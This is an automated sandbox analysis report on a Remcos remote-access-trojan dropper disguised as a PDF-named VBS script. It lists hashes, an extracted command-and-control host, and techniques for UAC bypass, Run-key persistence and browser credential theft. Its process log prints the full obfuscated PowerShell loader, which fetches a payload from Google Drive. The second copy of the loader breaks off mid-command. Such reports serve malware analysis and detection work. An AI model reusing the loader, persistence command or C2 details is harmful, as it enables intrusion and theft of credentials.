remcos | 4ee92a6f7eee02311151d4e57a6b22e18d610a214b4a6274ffd73d3ce7fdb759

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 08:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

412300061474pdf.vbs
Size

16KB
MD5

66e9e95985918197cabcedecef2d981d
SHA1

4d3acf394fc1825d1f89905ff9950cfc297d813a
SHA256

4ee92a6f7eee02311151d4e57a6b22e18d610a214b4a6274ffd73d3ce7fdb759
SHA512

16efce7ecf0dae7fa63030b404ea60b2801119df2297b05ceba7b7ba0e3d90d3145b2e34f005a10deb78f50b2445498b2d9936f5c33582e0415160cfb8b6b6f9
SSDEEP

384:yMEYHgUWl/aKYbYHfQl3pngujAtHKeGEa47Yi+c:mYHgUWgKrHfSNgujAhGEhYi/

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution persistence rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

5nd42h78s.duckdns.org:3782

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-J5NDOL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/1792-90-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3760-89-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1716-88-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/1716-88-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/1792-90-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
3	1080	WScript.exe
7	3328	powershell.exe
10	3328	powershell.exe
25	4268	msiexec.exe
27	4268	msiexec.exe
30	4268	msiexec.exe
32	4268	msiexec.exe
33	4268	msiexec.exe
45	4268	msiexec.exe
48	4268	msiexec.exe
49	4268	msiexec.exe
50	4268	msiexec.exe
52	4268	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

Processes:

Chrome.exeChrome.exemsedge.exemsedge.exemsedge.exeChrome.exemsedge.exemsedge.exeChrome.exe

pid	Process
2964	Chrome.exe
4932	Chrome.exe
2444	msedge.exe
2388	msedge.exe
4596	msedge.exe
2816	Chrome.exe
1856	msedge.exe
2348	msedge.exe
4748	Chrome.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spillebulers150 = "%Kinetogenesis% -windowstyle 1 $Nonunited=(gp -Path 'HKCU:\\Software\\Pelion\\').tilmeldende;%Kinetogenesis% ($Nonunited)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
3328	powershell.exe
4664	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
6	drive.google.com
7	drive.google.com
25	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
4268	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
4664	powershell.exe
4268	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

msiexec.exe

description	pid	Process	procid_target
PID 4268 set thread context of 1792	4268	msiexec.exe	114
PID 4268 set thread context of 1716	4268	msiexec.exe	115
PID 4268 set thread context of 3760	4268	msiexec.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

msiexec.execmd.exemsiexec.exereg.exemsiexec.exemsiexec.exepowershell.exereg.execmd.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exeChrome.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exe

pid	Process
5048	reg.exe
2288	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exemsiexec.exemsiexec.exemsiexec.exeChrome.exe

pid	Process
3328	powershell.exe
3328	powershell.exe
4664	powershell.exe
4664	powershell.exe
4664	powershell.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
3760	msiexec.exe
3760	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
1792	msiexec.exe
1792	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
2816	Chrome.exe
2816	Chrome.exe
4268	msiexec.exe
4268	msiexec.exe
1792	msiexec.exe
1792	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
4664	powershell.exe
4268	msiexec.exe
4268	msiexec.exe
4268	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

Processes:

msedge.exe

pid	Process
1856	msedge.exe
1856	msedge.exe
1856	msedge.exe
1856	msedge.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

powershell.exepowershell.exemsiexec.exeChrome.exe

description	pid	Process
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	3760	msiexec.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe
Token: SeShutdownPrivilege	2816	Chrome.exe
Token: SeCreatePagefilePrivilege	2816	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

Chrome.exemsedge.exe

pid	Process
2816	Chrome.exe
1856	msedge.exe
1856	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
4268	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.execmd.exeChrome.exe

description	pid	Process	procid_target
PID 1080 wrote to memory of 3328	1080	WScript.exe	83
PID 1080 wrote to memory of 3328	1080	WScript.exe	83
PID 4664 wrote to memory of 4268	4664	powershell.exe	101
PID 4664 wrote to memory of 4268	4664	powershell.exe	101
PID 4664 wrote to memory of 4268	4664	powershell.exe	101
PID 4664 wrote to memory of 4268	4664	powershell.exe	101
PID 4268 wrote to memory of 3500	4268	msiexec.exe	102
PID 4268 wrote to memory of 3500	4268	msiexec.exe	102
PID 4268 wrote to memory of 3500	4268	msiexec.exe	102
PID 3500 wrote to memory of 5048	3500	cmd.exe	105
PID 3500 wrote to memory of 5048	3500	cmd.exe	105
PID 3500 wrote to memory of 5048	3500	cmd.exe	105
PID 4268 wrote to memory of 3096	4268	msiexec.exe	108
PID 4268 wrote to memory of 3096	4268	msiexec.exe	108
PID 4268 wrote to memory of 3096	4268	msiexec.exe	108
PID 3096 wrote to memory of 2288	3096	cmd.exe	110
PID 3096 wrote to memory of 2288	3096	cmd.exe	110
PID 3096 wrote to memory of 2288	3096	cmd.exe	110
PID 4268 wrote to memory of 2816	4268	msiexec.exe	112
PID 4268 wrote to memory of 2816	4268	msiexec.exe	112
PID 2816 wrote to memory of 5080	2816	Chrome.exe	113
PID 2816 wrote to memory of 5080	2816	Chrome.exe	113
PID 4268 wrote to memory of 1792	4268	msiexec.exe	114
PID 4268 wrote to memory of 1792	4268	msiexec.exe	114
PID 4268 wrote to memory of 1792	4268	msiexec.exe	114
PID 4268 wrote to memory of 1792	4268	msiexec.exe	114
PID 4268 wrote to memory of 1716	4268	msiexec.exe	115
PID 4268 wrote to memory of 1716	4268	msiexec.exe	115
PID 4268 wrote to memory of 1716	4268	msiexec.exe	115
PID 4268 wrote to memory of 1716	4268	msiexec.exe	115
PID 4268 wrote to memory of 3760	4268	msiexec.exe	116
PID 4268 wrote to memory of 3760	4268	msiexec.exe	116
PID 4268 wrote to memory of 3760	4268	msiexec.exe	116
PID 4268 wrote to memory of 3760	4268	msiexec.exe	116
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117
PID 2816 wrote to memory of 1948	2816	Chrome.exe	117

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\412300061474pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Histomorphological='Spisesituationer';;$Chieve='Conynge';;$Andenklasseskuphoers='Drivbnkenes';;$Juchart='Overbitterness205';;$Tyrannizer='Unbars';;$Subjektets=$host.Name;function Udkobles($raadmandsordning){If ($Subjektets) {$dogeysriarteaceae=4} for ($dogeys=$dogeysriarteaceae;;$dogeys+=5){if(!$raadmandsordning[$dogeys]) { break }$Tilbagesendtes+=$raadmandsordning[$dogeys]}$Tilbagesendtes}function Stberier($Revisionsinstitutter){ .($Boardingkortets) ($Revisionsinstitutter)}$Superangelic157=Udkobles 'SnakNCos eLu tT ban.MaalwPol eTre B ParCMikrlKoldIAdame DaaNAcutt';$Campanula15=Udkobles ' AntM.ykko AllzKontiMandlSpaclM taaKart/';$Backtender=Udkobles 'ArchTLydklsygesreve1Frem2';$Dampmaskiner=' Hos[,aniNrusseDenstIn.i.Elsks VageLam,rC lev ForIProlc UnpE PaspOve oB dnIBukpN ockTSykuMMa.iAErhvnOuseAKlunGMol e oinrForg] nr:refo: OvesRecoE Pecc AskU Feor,engIRadut .ecY HjepWaneR SelOTil TSuerONixicGlasoRdnilunde=Publ$ RemB,tolA VorcTwankBlabTSureeAandN PredAndeE GenR';$Campanula15+=Udkobles ' vol5Terr. ild0Bery ,ort(Her WK.ssiBlodnA tvdSprgo,utcwAbsosVel TillNNourTDisc Unsy1Apyr0Chil.Mant0Meta; ect NatuWSknhiAppen O e6Ove.4Nond; Dyr C loxT im6Malp4 Sky;Bank UnbrUnprv S,r:Port1Samm3Bra 1H lb.inds0Skrm)Preo ednG F re.hifcDispkTorcoudpo/Han.2Afsk0Siou1 Lid0Spen0 ja 1bev 0vili1blaa VieFUnp irnn.r ReneFis.fLnreoma rxTjen/ en1Over3Ut,l1.rbe.Impr0';$Katastrofale=Udkobles 'iod,UTro sOverE E oRw,en- PhoaKillg Ko eHemiNudv,T';$graylags=Udkobles ' Co.hDulytS altMocapNyctsVrd :immu/None/PromdNeverHypoiUnscvMisfe Ge .IllugSim,oDeceo G ygShorlInc eR qu.FeyncArbeoVoldm pis/ UdeuUnspcOdon? toueIsotxMelapF,nmou derFacetBjni=D nsdUnduoDul w Minn Dagl KaooGy,naStikdUdst&Pan iBismdBeto=,udy1GlatZDomin AllcmediOpl gLOpoeTF yvtPlakIMic,bRidsyD esxQ ohiSammi IdeL NonFst.aU SnbiN dsLAflelKassbBrug9AeroHHaan0F elCDeutpE gay PriMStarFsm kA LettEufoe outm';$Frigrelsestids=Udkobles 'gess>';$Boardingkortets=Udkobles ' SlyIRub,eMestX';$Sabelslugerne='Buksenederdel';$Ltemaskine20='\Patriarkernes.Sty';Stberier (Udkobles ',ste$ PowgMedll Preo Bu bBeskaLu cLTame: B fmSepaiRu,lN npgFa tl GlaeRankD Fa.LS,xoyPed 2ti,b0Dani5A to= Zin$KongeCycaNTi sVKron: ActaadjupTalepL.wbD ,kaa CheTBalaa oos+Vaas$ ,calN.netChane UnfmSl uaGuntSTrnakUnreiBr nNTeleELeer2 Ud,0');Stberier (Udkobles 'Se,i$Ta wgIndfL t sO LoaBMicrA MeglLder: ForgIndduLoo dDiskeTid,bsl giSalmLIn hL ,reECo dd nteeIncoRKlap=p lp$KatagKoboRAdskaSkriYC ulLPol a Pr,G CroSTilh.Ov rsFodfPKab L Bs,ISnu,TAfta( Hyd$Eparf UdpR De IMotegPrydrLimpeTamblOlisSUnd e Do.sEftetVensiDroud BooSY,gi)');Stberier (Udkobles $Dampmaskiner);$graylags=$Gudebilleder[0];$Faresernes=(Udkobles 'Frit$Wat.gLgeaL PerOAge,BMe.aaO enL Cal:FlanCM.duoExceND viVKy,ieGui.NHemitpostiGlycooph nFrikiKlkkSperiELyd =CochNOuttE ranWUnst- FloOKomeBDiedJVagaERebeCGratTC,rr .entSF,rly AflsDu atCounE Co.m Tit. Afs$ BoaSUdprUS bpPparaeHallrRibaa Me n Jo,g dslEWa.tLElemiUni,cStal1.fsl5Podz7');Stberier ($Faresernes);Stberier (Udkobles ' Gem$.wotC Ka o SubnJuvev StreAkt,nShoetLepiiAa eoTitanP.riiVandsa bue rer.GoalHGr,pe Anla RindP,tkeDiplrJustsHa t[ id$ForpKGaveasac,tStevaDes,s erhtLejer Sido Prof orlafrnvlRoseePeri]Gtes=Mand$Re,uCAgglaB lamSkadpHeara.idinVie uWondlSpekaV lk1 Wi,5');$Tvangsfodrer=Udkobles 'Retn$hjspCEroboNeapn ForvD mmeA,tinAmput iliiPe,ao tranFlagisrres Prie,gra.c,avDrhizooutbwLegenSikklNonco knaindvdEx,rFSulfiModtl SerePris( Aut$D aggP rirUfina enuyMet,l MeeaDorbgIntasEksk,Conc$ rheP rnehVeloeMoronTreva AllzVideo Boon LfleUnal)';$Phenazone=$Mingledly205;Stberier (Udkobles ' onc$O deGmisbLBortOSm.nBcopua afsLNepe: ilf.ubeoHavbR rejMFalse.allr radi BalNb usGEcuaEOmstRDo yn,artEK epsBagg=Over( AfbTtomle StaSDownTKaar- KonpDec As.antTradh,yve Tegn$ArmlpSam,hremieBeskNLandAFl nzAutoOBjrgnTrooETeks)');while (!$Formeringernes) {Stberier (Udkobles ' Qu.$ nreg arlSvamoSa ib,egea .holCera: RekDVi,iaQ aknOrgaeExplrAnson PoceBrass.met=Unds$ResuF.ommlBugsoBefotPerstBorteSport') ;Stberier $Tvangsfodrer;Stberier (Udkobles 'I.exSP astIndkAAu trNo atTils-ImpespolyLGallE O,teGastp pec cutu4');Stberier (Udkobles 'Impa$Fra gEv rlBowloLameBBegra Pe,Lt.dr:AssuF UniO entRPokimFiffeDaglRInveiScarnSubag KonERestROpb nMinaEmiscsKomm= man(OmprT roeForuSMicrTMeta-PrivpWhe,AFejlTPlouHH,xa Dil$EkspPDra.hSa.tEO spNI tra A.cZ H,iO Ildn,inuE I.f)') ;Stberier (Udkobles 'Gele$S atgMultlLok o,eboBCoscABalllAs.r: ataCN drLDelfIRsonnApneCFyreHp sti .isnMo.sGp.ea= Jor$ Pi.gRegeLAtelOBo,ib SotaRec LSlng:MajveFlers BirT BonhBorgEFulltSickOBastl konoKusig Tr.yoeso+ Fly+Deip% Sor$ CruGHaemuG,anDBredE,ivsBResuIforeLBek LMangeunskD SatESa eRS.ee. TutCSextoGrunuMadan noT') ;$graylags=$Gudebilleder[$Clinching]}$Sanseligheden=295843;$Ensilerendes=29834;Stberier (Udkobles 'Ufor$Zyg g M nl Rago KloBFilmAUskalKlud:GeraTMiljrExtrigaf CDi cHSelsIIndsnB llO ,ynSVaabeOutfDM,sa app=Sple Plu g.atee MtntMinu-C laCAntioCongNMgteTEfteESkrmnPar tTilb Tveb$UnfoPUnp hEstreHjl NreadaVeneZ .tno SunN isbe');Stberier (Udkobles 'Live$ U.sg En l BeroGimmb St a heelForr:CabbADextdGreevFustePaasr PrebGe,tiAlgeeForgr embnterreMac s P,p prot= St, Enda[ erS UdfyEjlas nomt FraeFodem,phr.P.enCSyncoTalenMadrv An,eMinir IditProb]Stea:Selv:kfteF OxarLi eo,ammmlugtB,ruiaAutosFraseHavb6Mot 4T anS.rohtGodsrSeg iInfanSimpgTi.i(T ri$BeewTDomsrA.aniThrocmoorhNoneiUn,enKa poHerhs FaceU dedReve)');Stberier (Udkobles 'Peni$AltaG BrolAnhnoHam B amfaForsL Com: ittpBadeEMe cC iniTTidsiSatis PilE lvssRegn1In.r4Tilk0 Lyd A,lv=Mic ius[Sop,Stri.yTrblsTeleTDuraEAdmimPycn.Su,ttDevieIndsXInset,iph.Eve,E InsnDesiCTolvOU dedHyali PavNOv,rG em]Ef e:Balu: MelA TauSUn.iCAfstiAggrIPsor.MarkG Mi e isttNympsSt rTconcrTilrIBrusN Or G Spi(lubr$EvenAK ydDRoomvSprjESil rJingBSysti Be.e eksRPersNLempe NorsDybd)');Stberier (Udkobles 'K ll$BiligAguiLSarkoKon,bSwieA Tytl L,g:ChapPKanoaGrn RDiptTNonbsGeophEy.fR taiCatmNBrusgCataSBo sr AveE.rikGO.kneMoselshire.imen Ted= Ihv$A.rrpReineUd.tcEnigtBi diminiSKu sERea SHemi1Spur4Ones0Sej..ExplSDarnU St.B A ssR erT iscRBud,ISh rN M sgAns,(Fnok$SgelSNavnaBersNAnacsKaskeP rsLbuckI.iscGSkidHKonje dgiDEssieUnfunCrue,Y.ru$ki,deScepn LacS NseiUndeLflageTilfrUrgeERygrNBes DRu eeminisKare)');Stberier $Partshringsregelen;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Histomorphological='Spisesituationer';;$Chieve='Conynge';;$Andenklasseskuphoers='Drivbnkenes';;$Juchart='Overbitterness205';;$Tyrannizer='Unbars';;$Subjektets=$host.Name;function Udkobles($raadmandsordning){If ($Subjektets) {$dogeysriarteaceae=4} for ($dogeys=$dogeysriarteaceae;;$dogeys+=5){if(!$raadmandsordning[$dogeys]) { break }$Tilbagesendtes+=$raadmandsordning[$dogeys]}$Tilbagesendtes}function Stberier($Revisionsinstitutter){ .($Boardingkortets) ($Revisionsinstitutter)}$Superangelic157=Udkobles 'SnakNCos eLu tT ban.MaalwPol eTre B ParCMikrlKoldIAdame DaaNAcutt';$Campanula15=Udkobles ' AntM.ykko AllzKontiMandlSpaclM taaKart/';$Backtender=Udkobles 'ArchTLydklsygesreve1Frem2';$Dampmaskiner=' Hos[,aniNrusseDenstIn.i.Elsks VageLam,rC lev ForIProlc UnpE PaspOve oB dnIBukpN ockTSykuMMa.iAErhvnOuseAKlunGMol e oinrForg] nr:refo: OvesRecoE Pecc AskU Feor,engIRadut .ecY HjepWaneR SelOTil TSuerONixicGlasoRdnilunde=Publ$ RemB,tolA VorcTwankBlabTSureeAandN PredAndeE GenR';$Campanula15+=Udkobles ' vol5Terr. ild0Bery ,ort(Her WK.ssiBlodnA tvdSprgo,utcwAbsosVel TillNNourTDisc Unsy1Apyr0Chil.Mant0Meta; ect NatuWSknhiAppen O e6Ove.4Nond; Dyr C loxT im6Malp4 Sky;Bank UnbrUnprv S,r:Port1Samm3Bra 1H lb.inds0Skrm)Preo ednG F re.hifcDispkTorcoudpo/Han.2Afsk0Siou1 Lid0Spen0 ja 1bev 0vili1blaa VieFUnp irnn.r ReneFis.fLnreoma rxTjen/ en1Over3Ut,l1.rbe.Impr0';$Katastrofale=Udkobles 'iod,UTro sOverE E oRw,en- PhoaKillg Ko eHemiNudv,T';$graylags=Udkobles ' Co.hDulytS altMocapNyctsVrd :immu/None/PromdNeverHypoiUnscvMisfe Ge .IllugSim,oDeceo G ygShorlInc eR qu.FeyncArbeoVoldm pis/ UdeuUnspcOdon? toueIsotxMelapF,nmou derFacetBjni=D nsdUnduoDul w Minn Dagl KaooGy,naStikdUdst&Pan iBismdBeto=,udy1GlatZDomin AllcmediOpl gLOpoeTF yvtPlakIMic,bRidsyD esxQ ohiSammi IdeL NonFst.aU SnbiN dsLAflelKassbBrug9AeroHHaan0F elCDeutpE gay PriMStarFsm kA LettEufoe outm';$Frigrelsestids=Udkobles 'gess>';$Boardingkortets=Udkobles ' SlyIRub,eMestX';$Sabelslugerne='Buksenederdel';$Ltemaskine20='\Patriarkernes.Sty';Stberier (Udkobles ',ste$ PowgMedll Preo Bu bBeskaLu cLTame: B fmSepaiRu,lN npgFa tl GlaeRankD Fa.LS,xoyPed 2ti,b0Dani5A to= Zin$KongeCycaNTi sVKron: ActaadjupTalepL.wbD ,kaa CheTBalaa oos+Vaas$ ,calN.netChane UnfmSl uaGuntSTrnakUnreiBr nNTeleELeer2 Ud,0');Stberier (Udkobles 'Se,i$Ta wgIndfL t sO LoaBMicrA MeglLder: ForgIndduLoo dDiskeTid,bsl giSalmLIn hL ,reECo dd nteeIncoRKlap=p lp$KatagKoboRAdskaSkriYC ulLPol a Pr,G CroSTilh.Ov rsFodfPKab L Bs,ISnu,TAfta( Hyd$Eparf UdpR De IMotegPrydrLimpeTamblOlisSUnd e Do.sEftetVensiDroud BooSY,gi)');Stberier (Udkobles $Dampmaskiner);$graylags=$Gudebilleder[0];$Faresernes=(Udkobles 'Frit$Wat.gLgeaL PerOAge,BMe.aaO enL Cal:FlanCM.duoExceND viVKy,ieGui.NHemitpostiGlycooph nFrikiKlkkSperiELyd =CochNOuttE ranWUnst- FloOKomeBDiedJVagaERebeCGratTC,rr .entSF,rly AflsDu atCounE Co.m Tit. Afs$ BoaSUdprUS bpPparaeHallrRibaa Me n Jo,g dslEWa.tLElemiUni,cStal1.fsl5Podz7');Stberier ($Faresernes);Stberier (Udkobles ' Gem$.wotC Ka o SubnJuvev StreAkt,nShoetLepiiAa eoTitanP.riiVandsa bue rer.GoalHGr,pe Anla RindP,tkeDiplrJustsHa t[ id$ForpKGaveasac,tStevaDes,s erhtLejer Sido Prof orlafrnvlRoseePeri]Gtes=Mand$Re,uCAgglaB lamSkadpHeara.idinVie uWondlSpekaV lk1 Wi,5');$Tvangsfodrer=Udkobles 'Retn$hjspCEroboNeapn ForvD mmeA,tinAmput iliiPe,ao tranFlagisrres Prie,gra.c,avDrhizooutbwLegenSikklNonco knaindvdEx,rFSulfiModtl SerePris( Aut$D aggP rirUfina enuyMet,l MeeaDorbgIntasEksk,Conc$ rheP rnehVeloeMoronTreva AllzVideo Boon LfleUnal)';$Phenazone=$Mingledly205;Stberier (Udkobles ' onc$O deGmisbLBortOSm.nBcopua afsLNepe: ilf.ubeoHavbR rejMFalse.allr radi BalNb usGEcuaEOmstRDo yn,artEK epsBagg=Over( AfbTtomle StaSDownTKaar- KonpDec As.antTradh,yve 